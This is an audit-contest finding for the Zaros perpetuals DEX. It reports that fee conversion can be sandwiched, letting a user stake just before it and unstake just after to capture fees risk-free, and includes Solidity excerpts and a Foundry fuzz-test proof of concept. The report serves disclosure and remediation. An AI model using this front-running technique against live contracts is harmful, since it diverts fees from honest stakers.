Part 2
Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

The src/market-making/branches/FeeDistributionBranch.sol::convertAccumulatedFeesToWeth is prone to sandwich attacks enabling users who have risked nothing to collect fees

0xswahili

Summary

The src/market-making/branches/FeeDistributionBranch.sol::convertAccumulatedFeesToWeth is prone to sandwich attacks enabling users who have risked nothing to collect fees and withdraw stake immediately

Vulnerability Details

Zaros enables users to stake with the protocol and earn a portion of the fee collected. This is achieved via the VaultRouterBranch::stake function:

/// @notice Stakes a given amount of index tokens in the contract.
/// @dev Index token holders must stake in order to earn fees distributions from the market making engine.
/// @dev Invariants involved in the call:
/// The sum of all staked assets SHOULD always equal the total stake value
/// The Vault MUST exist.
/// The Vault MUST be live.
/// @param vaultId The vault identifier.
/// @param shares The amount of index tokens to stake, in 18 decimals.
function stake(uint128 vaultId, uint128 shares) external {
// to prevent safe cast overflow errors
if (shares < Constants.MIN_OF_SHARES_TO_STAKE) {
revert Errors.QuantityOfSharesLessThanTheMinimumAllowed(Constants.MIN_OF_SHARES_TO_STAKE, uint256(shares));
}
...

Once fee is collected from the engines, users can claim a share by calling FeeDistributionBranch.sol::claimFees: function:

/// @notice allows user to claim their share of fees
/// @param vaultId the vault fees are claimed from
function claimFees(uint128 vaultId) external {
// load the vault data storage pointer
Vault.Data storage vault = Vault.load(vaultId);
​
// get the actor id
bytes32 actorId = bytes32(uint256(uint160(msg.sender)));
...

The problem is that users can technically escape the risk of staking by front-running the src/market-making/branches/FeeDistributionBranch.sol::convertAccumulatedFeesToWeth call with a deposit ----> stake transaction and a backrun the fee conversion call with unstake ----> initiateWithdrawal call thereby sniping a share of the fee with minimal risk. This is contrary to the ethos of staking that rewards users who take on the inherent risk.

For a POC, add this test to test/integration/market-making/fee-distribution-branch/claimFees/claimFees.t.sol:

​
function testFuzz_Front_Run_Convert_Claim(
uint256 vaultId,
uint256 marketId,
uint256 amountToDepositMarketFee,
uint256 assetsToDepositVault,
uint256 adapterIndex
)
external
whenTheUserDoesHaveAvailableShares
{
IDexAdapter adapter = getFuzzDexAdapter(adapterIndex);
​
PerpMarketCreditConfig memory fuzzPerpMarketCreditConfig = getFuzzPerpMarketCreditConfig(marketId);
​
amountToDepositMarketFee = bound({
x: amountToDepositMarketFee,
min: USDC_MIN_DEPOSIT_MARGIN,
max: convertUd60x18ToTokenAmount(address(usdc), USDC_DEPOSIT_CAP_X18)
});
​
VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);
​
assetsToDepositVault = bound({
x: assetsToDepositVault,
min: calculateMinOfSharesToStake(fuzzVaultConfig.vaultId),
max: fuzzVaultConfig.depositCap
});
​
changePrank({ msgSender: address(fuzzPerpMarketCreditConfig.engine) });
​
deal({ token: address(usdc), to: address(fuzzPerpMarketCreditConfig.engine), give: amountToDepositMarketFee });
marketMakingEngine.receiveMarketFee(
fuzzPerpMarketCreditConfig.marketId, address(usdc), amountToDepositMarketFee
);
​
changePrank({ msgSender: users.naruto.account });
​
deal(fuzzVaultConfig.asset, users.naruto.account, assetsToDepositVault);
​
marketMakingEngine.deposit(fuzzVaultConfig.vaultId, uint128(assetsToDepositVault), 0, "", false);
​
uint256 sharesToStake = IERC20(fuzzVaultConfig.indexToken).balanceOf(users.naruto.account);
​
marketMakingEngine.stake(fuzzVaultConfig.vaultId, uint128(sharesToStake));
​
assertEq(IERC20(wEth).balanceOf(users.naruto.account), 0);
​
assertEq(marketMakingEngine.getEarnedFees(fuzzVaultConfig.vaultId, users.naruto.account),0);
changePrank({ msgSender: address(perpsEngine) });
​
marketMakingEngine.convertAccumulatedFeesToWeth(
fuzzPerpMarketCreditConfig.marketId, address(usdc), adapter.STRATEGY_ID(), bytes("")
);
assertGt(marketMakingEngine.getEarnedFees(fuzzVaultConfig.vaultId, users.naruto.account),0);
}

Impact

Users can escape the risk of staking thereby gaining an advantage over other stakers. This can discourage staking with the protocol.

Tools Used

Manual review

Recommendations

Consider implementing a minimum unstake time lock.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Staking design is not fair for users who staked earlier and longer, frontrun fee distribution with big stake then unstake

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.